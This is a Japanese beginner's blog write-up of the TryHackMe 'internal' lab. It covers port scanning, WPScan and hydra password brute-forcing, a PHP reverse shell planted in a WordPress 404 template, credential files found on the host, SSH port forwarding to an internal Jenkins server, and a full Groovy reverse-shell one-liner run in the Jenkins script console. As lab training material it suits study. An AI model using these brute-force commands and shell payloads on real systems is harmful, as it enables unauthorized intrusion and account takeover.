1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

TryHackMe Writeup:internal

Last updated at Posted at 2025-01-26

はじめに

本記事はTryHackMeのWriteupです。

Roomはinternal、Difficulty(難易度)はHardです。

このRoomでは、私が学んできた事を幅広く必要とした為,自身の復習も兼ねて初めてのWriteupを記述したいと思います

!注意!
私は当分野の初心者であり,THM歴も半月未満です。
故に初心者目線でのWirteupになります。
また私としては納得行かない部分があり,そこへのアドバイスも大歓迎です

1.ホストファイルの変更

Roomの説明文通り,internal.thmをhostsファイルに追加します。

$ sudo nano /etc/hosts

10.10.89.175    internal.thm #追加

2.nmapでポートスキャンを実施

何はともあれ開いてるポートを調べます

$ nmap -sV -Pn -A -v internal.thm

(抜粋)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu  4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp   open     http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It work

22:SSHポート
80:httpポートが空いてます。

思わずApache2.4.29というVerを調べてしまいますが我慢です。
80番ポートが開いてるのでhttp://10.10.89.175にアクセスしてみます。

ですがApache2 Ubuntu Default Pageが表示されるだけです。

3.dirbでディレクトリ検索

何はともあれアクセスできそうなディレクトリも調べておきましょう。

$ dirb http://10.10.89.175 /usr/share/dirb/wordlists/small.txt -r

(抜粋)
==> DIRECTORY: http://10.10.89.175/blog/ 
==> DIRECTORY: http://10.10.89.175/javascript/
==> DIRECTORY: http://10.10.89.175/phpmyadmin/
==> DIRECTORY: http://10.10.89.175/wordpress/

/blog
Wordpressで作成されたHPが出てきました。
左下にはLog inリンクもありますね。いつかは侵入しましょう

/javascript
開きませんね。

/phpmyadmin
phpmyadminのログイン画面です。いつかは侵入しましょう

/wordpress
oops!という名前のふざけたHPが開きます。ほっときましょう

4.WPScanを使って色々調べる

いろんなVerを調べて脆弱性を検索したくなりますが,まずはやれる事をします。
WPScanを使って登録アカウントを調べてみます

$ wpscan --url http://internal.thm/blog/ --enumerate u

アカウント名としてadminが見つかりました。期待できますね
続いてパスワードを探索します

$ wpscan --url http://internal.thm/blog/ -U admin -P /usr/share/wordlists/rockyou.txt --password-attack wp-login -t 4

(抜粋)
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - admin / *******

パスワードも確認できました!やった!

5.WordPressにリバースシェルを設置する

先程ゲットしたアカウントでWordPressにログインしましょう。
(3.で探索した/blogにログインページのリンクがありましたね)

adminという名の通り管理者権限がついているので何でもできそうです。
今回は404.phpを編集してphpリバースシェルを仕込みましょう。
参考にしたサイトはこちら

(外観)⇒(テーマエディター) ⇒(404テンプレート)を選びます。
エディタ上にPHPリバースシェルのコードを貼り付けて「ファイルの更新」を押しましょう。
人によって違うと思いますがコードは以下からコピー!

$ cat /usr/share/webshells/php/php-reverse-shell.php

#下記のipとportは自身のIPと好きなポートにしましょう
$ip = '**.**.**.**';  // CHANGE THIS
$port = 4545;       // CHANGE THIS

例によってncコマンドで待受けます

$ nc -lnvp 4545

では,先程のリバースシェルを起動しましょう。
参考サイトによると以下のURLで起動できるみたいです。
http://10.10.89.175/blog/wp-content/themes/(themename)/404.php
今回の(themename)=twentyseventeenです。
ブラウザにURLを入力してアクセスするとkrkrします
http://10.10.89.175/blog/wp-content/themes/twentyseventeen/404.php

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

シェルが取れました!安定Bashシェルも起動しておきましょう。

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@internal:/$ 

6.おきまりのフォルダを探索?

www-dataユーザーから取れたらどうやらおきまりで
以下のディレクトリを見に行きます。
(WordPress関連のディレクトリに他の情報がないかを見にいくんだと思います)

www-data@internal:/$ cd var/www/html
www-data@internal:/var/www/html$ ls
index.html  wordpress
www-data@internal:/var/www/html$ cd wordpress
www-data@internal:/var/www/html/wordpress$ ls -la
(抜粋)
-rw-r--r--  1 root   root     3109 Aug  3  2020 wp-config.php

wp-config.phpは色々な設定情報の記載が期待できるそうです。

www-data@internal:/var/www/html/wordpress$ cat wp-config.php
(抜粋)
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpress' );

/** MySQL database password */
define( 'DB_PASSWORD', '************' );

MySQLDBのユーザー名とパスワードが出てきました。
3.の/phpmyadminにログインできそうかも?

7.phpmyadminにログイン(意味なし)

先程のユーザー名とパスワードで見事ログインができました!
・・・が大した収穫はありません。

8.納得のいかない調査

ここは他の人のwriteupm見ても「ん?ん〜・・・」ってなってます。
一応linpeas使ったりもしましたがイマイチでどうやら以下のフォルダが怪しいらしいです

www-data@internal://opt$ ls -la
ls -la
total 16
drwxr-xr-x  3 root root 4096 Aug  3  2020 .
drwxr-xr-x 24 root root 4096 Aug  3  2020 ..
drwx--x--x  4 root root 4096 Aug  3  2020 containerd
-rw-r--r--  1 root root  138 Aug  3  2020 wp-save.txt

これはわからないですよね・・・

一応この/optはこちらの説明を見ましたが・・・
ファイルが残っている事が不自然なディレクトリなのかな・・・?
よくわからないです

中身はこんな感じ

www-data@internal://opt$ cat wp-save.txt
Bill,

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.

aubreanna:************

ホームディレクトリにもいたユーザー名のパスが発覚しました!↓

www-data@internal:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root      root      4096 Aug  3  2020 .
drwxr-xr-x 24 root      root      4096 Aug  3  2020 ..
drwx------  7 aubreanna aubreanna 4096 Aug  3  2020 aubreanna

9.SSH接続を試す

8.で入手したアカウントとパスでSSH接続を試みます

$ ssh aubreanna@10.10.89.175
(省略)
aubreanna@internal:~$ 

やった!aubreannaさんになりました!

aubreanna@internal:~$ ls
jenkins.txt  snap  user.txt

userフラグゲット!

次にjenkins.txtも見てみましょう

aubreanna@internal:~$ cat jenkins.txt
Internal Jenkins service is running on 172.17.0.2:8080

内部にて上記のアドレスでジェンキンスサーバーが稼働しているようです。
ここで部屋名のinternalの意味がわかりましたね!(たぶん)

10.ローカルポートフォワーディングで接続する

先程のジェンキンスサーバーへの接続がこの部屋の肝になると思います。
どうやら127.17.0.0という同じネットワークにいそうです↓

aubreanna@internal:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255

(正直このあたりはピンときていません・・・)
ローカルポートフォワーディングを使ってジェンキンスサーバーにアクセスできるようにします。
ローカルポートフォワーディングの説明はこちらを参考にしました

$ ssh -L 4444:172.17.0.2:8080 aubreanna@10.10.89.175

アクセス先は以下になります。
http://localhost:4444/

11.ジェンキンスサーバーを攻略する

ジェンキンスはどうやらadminアカウントのデフォルト設定が広く知られているようです

ユーザー名:admin
パスはわからないのでhydraで攻略します

$ hydra -l admin -P cheet.txt 127.0.0.1 http-post-form '/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=Invalid username or password'

(数時間かかるので私はカンニングしました・・・)

admin権限でジェンキンスサーバーにログインできました。
admin権限を持った状態でのジェンキンスサーバーでの脆弱性を色々調べてみます

Grovyスクリプトを使ってシェルが取れるみたいです!参考サイト
(Jenkinsの管理)⇒(スクリプトコンソール)
下記を入力

String host="**.**.**.**";
int port=5555;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

ncコマンドで待受しておくとシェルがとれました!

$ nc -lnvp 5555
listening on [any] 5555 ...

python -c 'import pty;pty.spawn("/bin/bash")'
jenkins@jenkins:/$ 

また/opt配下らしい・・・

jenkins@jenkins:/opt$ ls
ls
note.txt

note.txtを調べてみます

jenkins@jenkins:/opt$ cat note.txt
Aubreanna,

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.

root:*******************

あとはrootアカウントでSSH接続

$ ssh root@10.10.89.175

root@internal:~# ls
root.txt  snap

一旦おしまいです!

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?